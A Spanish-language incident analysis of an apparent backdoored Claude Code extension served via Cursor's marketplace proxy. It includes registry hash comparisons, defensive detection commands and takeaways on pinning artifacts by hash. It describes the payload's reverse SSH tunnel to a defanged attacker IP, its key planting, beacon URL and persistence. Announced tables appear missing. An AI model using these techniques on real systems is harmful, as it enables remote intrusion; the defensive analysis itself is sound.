Misma versión, tres archivos: auditoría del backdoor de la extensión Claude Code contra los dos registros públicos

Durante once horas y ocho minutos del 29 de octubre de 2026, Anthropic.claude-code fue un backdoor. No un nombre parecido, no un publisher suplantado con tipografía tramposa, no un cIaude-code con una i mayúscula: el identificador real, el espacio de nombres real y números de versión que coincidían con una línea de publicación auténtica, 2.1.312 y 2.1.313. El paquete que se sirvió contenía una función autoejecutable que escribía una clave SSH del atacante en ~/.ssh/authorized_keys, abría un túnel inverso hacia 134.209.82[.]225 e instalaba persistencia que sobrevive al reinicio en macOS, Linux y Windows.

Todas las coberturas de este incidente han tenido que abrir con una advertencia, porque la pregunta central —¿se comprometió la extensión oficial o solo el espejo?— se respondió con comunicados que se contradecían. Los ingenieros de Anthropic dijeron que los canales oficiales estaban limpios. Varios comentaristas señalaron que Cursor usa Open VSX como origen, así que la palabra “limpio” hacía demasiado trabajo en esa frase. Security Boulevard y una sindicación de ChainCatcher alojada en Binance afirmaron que la versión maliciosa se había publicado en Open VSX. Un hilo de Hacker News acumuló 435 comentarios y nunca lo resolvió.

La pregunta tiene respuesta sin preguntarle a ninguna de las dos empresas, porque los dos registros públicos conservan el historial de versiones y los artefactos descargables. Eso hice: extraje 2.428 registros del API del Visual Studio Marketplace con el flag de versiones no publicadas activado, consulté Open VSX, descargué la misma versión de ambos y calculé el hash de los paquetes. Después recorrí cada archivo JavaScript buscando los indicadores del propio payload.

El resultado es corto. Bajo la versión 2.1.312, darwin-arm64, el Marketplace de Microsoft y Open VSX sirven archivos idénticos byte a byte entre sí, y no contienen nada del código malicioso. Ninguno de los dos registros tiene registro alguno de la 2.1.313. Los artefactos manipulados existieron en una sola ruta de distribución, y el número de versión no podía decirte cuál estabas recibiendo.

La medición

La ventana del incidente, convertida desde el “2:27am PT a 1:35pm PT” del aviso de Cursor con America/Los_Angeles todavía en PDT (UTC−7): 2026-10-29T09:27Z a 2026-10-29T20:35Z, once horas y ocho minutos de exposición.

El alcance instalado, según el endpoint de estadísticas del propio Marketplace: 29.134.538 instalaciones y 689.658.437 eventos de actualización, 839 valoraciones con media de 3,71. Para Open VSX circula la cifra de ~63 millones de descargas; no la verifiqué y no deberías citarla como mía.

Ahora los hashes. El aviso de Cursor publica los SHA-256 de los paquetes que retiró. Yo descargué la misma versión de los dos registros públicos y calculé los míos:

Dos registros independientes devolvieron el mismo archivo de 127.409.262 bytes. Dentro hay 49 entradas zip y un único bundle en extension/extension.js, de 3.685.536 bytes, con SHA-256 1195816b6ecc944f25763a586d9e437a3e9a57342b5fdee543b59e1bb3d72e29 — que no es el hash del payload publicado por Cursor. Buscar svc-telemetry, 134.209.82.225, getremotelogin, authorized_keys y stk_ en todas las entradas .js devolvió cero coincidencias.

El bundle limpio empieza así:

var __EXT_BUNDLE_URL = require('node:url').pathToFileURL(__filename).href;

El análisis de Phorion describe el archivo manipulado como un IIFE inyectado “antepuesto al bundle minificado”, antes del activate normal. El archivo limpio empieza con un preámbulo de módulo. Es una prueba de diferencia de una línea que cualquier publisher podría ejecutar sobre sí mismo.

Lo que los números cierran

La afirmación sobre la 2.1.313 no sobrevive. Varios medios —incluida una pieza de ChainCatcher sindicada en Binance Square, que cita al investigador Paul McCarty— reportaron que la versión 2.1.313 se publicó en Open VSX el 30 de octubre. No fue así. El API del Marketplace devolvió cero filas para la 2.1.313 con el flag de no publicadas activado, que es justamente el flag que mostraría una versión subida y luego borrada. Open VSX responde 404. Y el changelog de Anthropic salta de la 2.1.314 a la 2.1.312, sin ningún encabezado 2.1.313 en todo el archivo.

El ingeniero de Anthropic en aquel hilo (usuario ddworken) fue explícito: “2.1.313 was never published on OpenVSX, the VS Code marketplace, or on any of our official hosts. The malicious actor here had published a fake version of this extension on Cursor’s marketplace. In order to disambiguate, we made sure our next update was 2.1.314.” Un colega (felixrieseberg) añadió: “A malicious actor used access to Cursor’s marketplace to publish a tampered copy of the Claude Code extension, which we didn’t build or publish.”

En este punto el registro forense coincide con el fabricante, y conviene notar que la afirmación es falsable en ambas direcciones: una versión publicada y luego retirada deja lápida detrás del flag de no publicadas, y no hay lápida.

La afirmación de que “la retiraron de Microsoft” tampoco sobrevive. Los comentaristas concluyeron que, como la 2.1.313 faltaba en el registro de Microsoft, debía haber sido publicada y retirada, lo que habría implicado que la manipulación llegó al canal oficial. Pero la 2.1.312, la versión que Cursor dice que sí fue maliciosa en su marketplace, sigue en el registro de Microsoft, marcada validated, y se descarga sin problema. Nunca se retiró. El número de versión que aparece tanto en el mundo malicioso como en el limpio no se retiró en ningún sitio, porque la copia maliciosa nunca estuvo en ninguno de los dos registros públicos.

El hueco en el historial público no prueba nada. Alguien notó que no existen la 2.1.297 ni la 2.1.298 y lo leyó como versiones borradas en silencio. Hay huecos así en otros tramos del historial: es un proyecto que publica casi a diario y los números se saltan por razones internas. La ausencia en un changelog solo significa algo cuando puedes demostrar que el artefacto existió; con la 2.1.313 la evidencia temporal apunta al otro lado, porque la línea oficial se reanudó en la 2.1.314 unas cinco horas después de que cerrara la ventana maliciosa.

Por qué “publisher + versión” nunca fue una identidad

Lo incómodo no es que alguien consiguiera acceso a un marketplace. Es que el identificador estaba intacto. Anthropic.claude-code es el mismo identificador, sin distinguir mayúsculas, que anthropic.claude-code en el registro de Microsoft y que Anthropic/claude-code en Open VSX. En este ataque no hay suplantación de espacio de nombres: el atacante no necesitó convencerte de que era Anthropic, porque el marketplace se lo decía por él.

La documentación del propio Cursor lo dice en voz alta, en una frase que debería imprimirse en la pantalla de acceso de todo fork de VS Code:

“The same publisher.extension name can point to different publishers or code on Open VSX than on the Microsoft Marketplace. Treat extension IDs like dependencies: install from publishers you trust.”

Y la misma página describe la arquitectura que hace divergir las copias:

“Cursor routes extension search and downloads through its own marketplace proxy (marketplace.cursorapi.com), not a direct passthrough to Open VSX. Before an extension is shown in search or served as a download, Cursor runs automated malware and supply-chain analysis using commercial security tooling. Extensions that fail review are blocked.”

No es el ataque a un espejo tonto. Cursor realoja y, según su propia descripción, a veces sustituye paquetes del origen: “some Microsoft Marketplace-only extensions are replaced by audited Anysphere builds.” Eso explica el desajuste de hashes que de otro modo alarmaría: la 2.1.312 de Cursor nunca iba a ser idéntica byte a byte a la de Anthropic, porque su pipeline puede producir su propio artefacto bajo ese mismo número de versión. Y esa es exactamente la propiedad que hace invisible un artefacto malo: las versiones y los nombres de publisher son etiquetas que un proxy vuelve a pegar, no digests de lo que descargaste.

El malware y los errores que lo frenaron

El análisis de Phorion es el registro técnico sustantivo y merece leerse completo, no en resumen. La versión corta: un IIFE antepuesto al bundle minificado importa child_process, fs, os, path, http y crypto y se ejecuta en cuanto Node carga el archivo —antes de activate, sin interacción del usuario—. Añade una clave pública Ed25519 con el comentario svc-telemetry a authorized_keys, escribe una clave privada sin cifrar (comentario svc-telemetry-tun) en un archivo $TMPDIR/.stk_<10 hex> cuyo sufijo es MD5(hostname + HOME) truncado a diez caracteres, y abre ssh -N -R '*:0:localhost:22' contra el servidor del atacante. El 0 pide al servidor que asigne un puerto de escucha dinámicamente; -N significa que el túnel no ejecuta ningún comando remoto. El acceso entrante llega después, desde una segunda sesión del operador a través de ese puerto asignado hacia el puerto 22 de la víctima, usando la clave plantada. No hace falta ningún protocolo C2 propio porque el C2 es sshd.

La persistencia es por plataforma y nada original: un LaunchAgent de usuario etiquetado com.apple.sysmond que ejecuta /bin/sh ~/.config/.smt en macOS; una línea @reboot en el crontab en Linux; una tarea programada SysMon que pide SYSTEM en Windows, con un script en la carpeta de Inicio como alternativa. El beacon sale una sola vez, a los 1,5 segundos, por HTTP en claro a 134.209.82[.]225:8099/beacon y —por razones que nadie ha explicado— también a 127.0.0.1:8099.

Después el reconocimiento. Hostname, usuario, sistema, arquitectura, home, directorio actual, IP pública y git config --global user.email; este último es el detalle que convierte un host anónimo en una persona con nombre, además de los nombres de hasta 40 variables de entorno que coinciden con /KEY|TOKEN|SECRET|PASS|AWS|GCP/i. Nombres, no valores. La lectura de Phorion es la correcta: el beacon es una lista de la compra. Le dice al operador qué máquinas merecen una segunda visita con el shell.

Cuatro errores de implementación, que importan por dos razones distintas:

La frase de Phorion sobre el fallo lógico de macOS es la mejor de todo el corpus: “It effectively treats ‘I don’t have permission to check if SSH is off’ as ‘SSH is already on’.” Y después la que impide tomarlo como defensa: “Of course, that isn’t something to rely on as a defence. If the user already had Remote Login enabled, or turns it on later, the backdoor is ready and waiting.”

Fíjate en lo que implica la tabla. En un Mac típico la cadena de acceso falló mientras la clave, el LaunchAgent y el beacon sí funcionaron. Así que la clasificación correcta del incidente para la mayoría de máquinas afectadas no es “nos comprometieron” sino “nos dejaron preparados para un compromiso, y sabemos que el operador recibió un inventario de nuestros nombres de variables de entorno”. Las dos cosas siguen exigiendo rotar credenciales.

Lo que los avisos dicen y lo que callan

El aviso de Cursor es inusualmente concreto en la mecánica y muy silencioso sobre la causa. Dice qué se retiró, que el marketplace se apagó y se reconstruyó, que rotaron claves y que “We audited access and confirmed no other extensions were tampered with.” Esa última frase es una autoatestación: no hay forma externa de auditar los registros de acceso de Cursor, ni una cronología forense publicada de cómo un artefacto bajo el espacio Anthropic llegó a servirse desde su proxy.

El aviso también contiene un alcance que conviene leer dos veces: los paquetes afectados son “version 2.1.312 and 2.1.313 for Windows and MacOS.” Pero su sección de indicadores lista artefactos de Linux —/tmp/.stk_<10 hex> y una entrada cron @reboot— y Phorion describe lógica de instalación y persistencia también para Linux. Si se sirvieron builds de Linux durante la ventana, la carga de remediación es materialmente distinta: crontab -l no es donde mira la mayoría. Ninguna fuente que leí resuelve esa contradicción entre el párrafo de versiones afectadas y la tabla de IOCs.

Y una frase del aviso debería cerrar cualquier discusión sobre si desinstalar basta:

“Uninstalling the extension may not be sufficient — the payload drops standalone persistence scripts that keep running.”

El bucle separado es la razón. El túnel se lanza desacoplado y protegido con pgrep, así que no muere con el IDE, y en macOS launchd pasa a ser dueño de .smt tras el primer reinicio: los procesos ssh ya no mostrarán el IDE como padre en el árbol de procesos. La telemetría que camina el árbol no lo ve. La telemetría de escritura de archivos en ~/.ssh/authorized_keys y en ~/Library/LaunchAgents/ sí: ningún host de extensión, por muy firmado que esté el binario del IDE, tiene nada que hacer escribiendo esas rutas.

Los comandos de detección y qué demuestra cada uno

En este orden. Cada línea responde a una pregunta distinta y un negativo en una no limpia el equipo.

# 1. ¿Se plantó la clave del atacante? Prueba ejecución del payload, nada más.
grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "clave svc-telemetry encontrada" || echo "sin clave"

# 2. ¿Está la clave del túnel en disco / hay un proceso de túnel vivo?
ls -la /tmp/.stk_* "$TMPDIR"/.stk_* ~/.config/.smt ~/.config/.smtk 2>/dev/null
ps aux | grep -E 'ssh.*134\.209\.82\.225|\.smt'

# 3. ¿Sobrevivió la persistencia, aunque el túnel esté muerto?
ls -la ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null
crontab -l | grep '\.smt'
grep -rn '134\.209\.82\.225' ~/.cursor/extensions/anthropic.claude-code-*/ 2>/dev/null

$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "clave encontrada" } else { "sin clave" }
schtasks /query /tn "SysMon"
Get-ChildItem "$env:TEMP\.stk_*", "$env:USERPROFILE\.config\smt*" -ErrorAction SilentlyContinue

Qué significa un positivo, con precisión:

• Clave encontrada → el payload se ejecutó. No prueba que SSH quedara activo, no prueba que el túnel llegara a establecerse y no prueba que un operador entrara. Revisa los logs de autenticación de sshd buscando accesos desde 127.0.0.1 o ::1 con esa clave: las sesiones entrantes llegan por el reenvío local, así que parecen loopback.
• .stk_ / .smt presentes o túnel vivo → la fase 2 se ejecutó. No prueba que el operador se conectara y, como Cursor tumbó el servidor, un bucle de reintento vivo hoy solo prueba persistencia.
• LaunchAgent / entrada cron presentes → el equipo se rearma en cada arranque. Por eso el fabricante recomienda reconstruir en lugar de limpiar.
• Un directorio llamado anthropic.claude-code-2.1.312-* → no prueba nada. Un build 2.1.312 de Microsoft u Open VSX está limpio, es idéntico entre ambos y no contiene ningún indicador. Solo el hash del payload, la cadena de la IP C2 o el preámbulo inyectado los distinguen.

Esa última línea es la lección operativa en miniatura: en este incidente, un triaje basado en números de versión habría marcado máquinas limpias como comprometidas y no habría dicho nada de la que importaba.

Los controles que existían y sus valores por defecto

La documentación de extensiones de Cursor enumera cuatro capas además del escaneo del proxy: verificación de publisher, listas de permitidos empresariales, verificación de firmas y periodos de espera de instalación. Lee los valores por defecto:

“Marketplace Install Cooldown … Default: 0 (disabled). Set the number of hours to a value your organization accepts based on its risk posture.”

“Enterprise teams can require valid Open VSX extension signatures before install.”

Es decir: el amortiguador contra exactamente esta clase de ataque —una subida maliciosa de vida corta— viene apagado, y la verificación de firmas es un interruptor empresarial en lugar de una invariante en el momento de instalar. La documentación es honesta al calificarlos de controles compensatorios: “No single control replaces the others” y “Install cooldown and signature verification are client-side install controls.” Los reportes de la comunidad sobre el retardo de actualización de VS Code dan dos horas en un hilo y doce en otro; no pude reconciliarlos con documentación primaria, y eso ya es un hallazgo: si no puedes declarar tu propia latencia de autoactualización, no puedes razonar sobre tu ventana de exposición.

Compáralo con la ventana de once horas y ocho minutos. Un periodo de espera mayor que la ventana convierte un compromiso de cadena de suministro en un no incidente para tu flota. Un periodo de espera de cero, que es el valor por defecto, lo convierte en un incidente.

Lo que sigue sin saberse

Ser preciso aquí importa más que ser ruidoso:

1. Los VSIX manipulados ya no existen. Se retiraron del único canal que los sirvió, así que nadie fuera de Cursor o Phorion puede recalcular los hashes publicados. Mi verificación demuestra que los otros dos canales estaban limpios; no puede confirmar de forma independiente qué sirvió Cursor. Esa parte descansa en la lista de IOCs de Cursor, cruzada con el análisis independiente de la muestra que hizo Phorion.
2. La cifra de “5.000 usuarios” es telemetría, no forense. Aparece en comentarios de HN como cifra de Cursor y Cursor no la publicó en el aviso. También podría quedarse corta, porque mide instalaciones a través de una sola tienda.
3. Sin atribución. Nada en ninguna fuente identifica al operador de 134.209.82[.]225. Un rango de DigitalOcean y una clave privada sin cifrar dentro del payload son compatibles con infraestructura de usar y tirar y un operador de baja sofisticación; eso es una inferencia a partir de los errores del malware, no un hallazgo.
4. Nadie ha dicho si hubo accesos exitosos. Cursor dice que el servidor está apagado. Nadie ha dicho si alguna sesión de operador llegó a entrar antes. Esa es la diferencia entre preparación y acceso, y es la única pregunta que cambia cuántas credenciales rotas.
5. No hay entrada de incidente en la página de estado de Anthropic. Consulté el API el 31 de octubre: ocho entradas recientes, todas de errores de modelos y conectores entre el 24 y el 28 de octubre, nada sobre la extensión. Es defendible —una página de estado vigila el API, no un marketplace de terceros—, pero significa que la única cronología pública es la nota del fabricante.
6. En ninguna parte se dice cómo se obtuvo el espacio de nombres. Credenciales de publisher, pipeline de construcción del marketplace, capa de almacenamiento del proxy: las tres son compatibles con lo que se sabe públicamente y ninguna está confirmada. El “we rotated our keys, rebuilt the marketplace” de Cursor apunta a su propia infraestructura; eso es una inferencia por elección de palabras, no evidencia.

Reglas que sobreviven a este incidente

1. Fija por hash, no por versión. Una versión es una afirmación; un digest es un hecho. Si tu herramienta de gestión de flota no registra el SHA-256 de lo que instaló, no puedes responder “¿nos afectó?”, solo “creemos que no”.
2. Pon un periodo de espera mayor que tu tiempo de reacción. Dos días habrían neutralizado esto por completo. El valor por defecto de Cursor es cero y el retardo de VS Code se mide en horas.
3. Trata los IDs de extensión como dependencias de contenido mutable. La documentación de Cursor ya lo dice. El corolario es que la insignia de publisher verificado acredita identidad, no integridad del artefacto; en este incidente la insignia era correcta.
4. Saca los agentes de las credenciales de tu home. Los dos hilos grandes de HN convergieron en la misma solución desde ángulos distintos: ejecutar el IDE y su host de extensiones con un usuario dedicado o en un contenedor, montando solo el repositorio. No porque detenga el payload de primera fase, sino porque decide qué puede leer la segunda.
5. Vigila escrituras de archivos, no nombres de procesos. El payload usó fs.appendFileSync; las reglas que buscan authorized_keys en líneas de comando nunca se disparan. La señal duradera es la telemetría de modificación de archivos desde el proceso host de extensiones.
6. Asume que el manifiesto se filtró. El beacon envió nombres de variables de entorno. Si un equipo se infectó, el operador sabe cuáles de tus máquinas llevan credenciales de AWS o GCP: rotar no es opcional ni donde el acceso falló.

Preguntas frecuentes

¿Se comprometió Anthropic? Ninguna evidencia lo sostiene. Dos ingenieros de Anthropic afirmaron públicamente que no hubo sistemas ni portátiles de Anthropic implicados, y el registro de los registros es consistente: la versión maliciosa nunca apareció en la infraestructura de Microsoft ni en la de Open VSX, incluido el flag de no publicadas. El artefacto manipulado lo sirvió el proxy del marketplace de Cursor.

¿La extensión de Claude Code en VS Code es insegura ahora? Lo que ambos registros públicos sirven es la 2.1.314 limpia. La 2.1.312 sigue descargable en el registro de Microsoft y es idéntica a la de Open VSX, sin marcadores del payload. Los builds afectados se limitaron al proxy de Cursor y fueron retirados.

Uso Cursor. ¿Estoy comprometido? Solo si instalaste o autoactualizaste Anthropic.claude-code a la 2.1.312 o 2.1.313 a través del marketplace de Cursor entre las 09:27Z y las 20:35Z del 29 de octubre. Ejecuta el grep de arriba. Un directorio con el nombre correcto no es evidencia; la cadena svc-telemetry sí.

¿Por qué la misma versión tiene hashes distintos? Porque el marketplace de Cursor es un proxy que realoja paquetes y, según su propia documentación, sustituye algunos por “audited Anysphere builds”. Los números de versión los vuelve a pegar el distribuidor, así que una versión idéntica entre canales no implica bytes idénticos, y aquí no lo fueron.

¿El malware robó credenciales? El beacon recogió hasta 40 nombres de variables de entorno que coinciden con patrones de clave, token o secreto, no sus valores. Sí recogió tu correo de git, el hostname y la IP pública. El riesgo mucho mayor es la clave SSH plantada y la persistencia, y por eso desinstalar no basta.

¿Cómo se habría evitado? No solo con más revisión: el build malicioso pasó el análisis automatizado del proxy. Habría funcionado la firma obligatoria del publisher y su verificación en el cliente, porque un bundle manipulado y realojado no puede llevar la firma de Anthropic. Ese control existe en el ecosistema como ajuste empresarial opcional y viene apagado.

La conclusión

El fallo interesante no es el backdoor SSH. Los RAT mal depurados son comunes; este no logró ni activar Remote Login en un Mac de serie porque confundió un error de permisos con un estado de éxito. El fallo interesante es que durante once horas, Anthropic + 2.1.312 significó dos cosas distintas según qué proxy respondiera tu petición HTTP, y ningún cliente del ecosistema estaba en posición de notarlo.

Cada mitigación que la gente propuso en los hilos —esperar un día, fijar una versión, confiar en la insignia de verificado— asumía que el identificador identifica los bytes. No lo hace, y la documentación del propio vendor lo viene diciendo. El único control que habría funcionado es el que viene desactivado por defecto.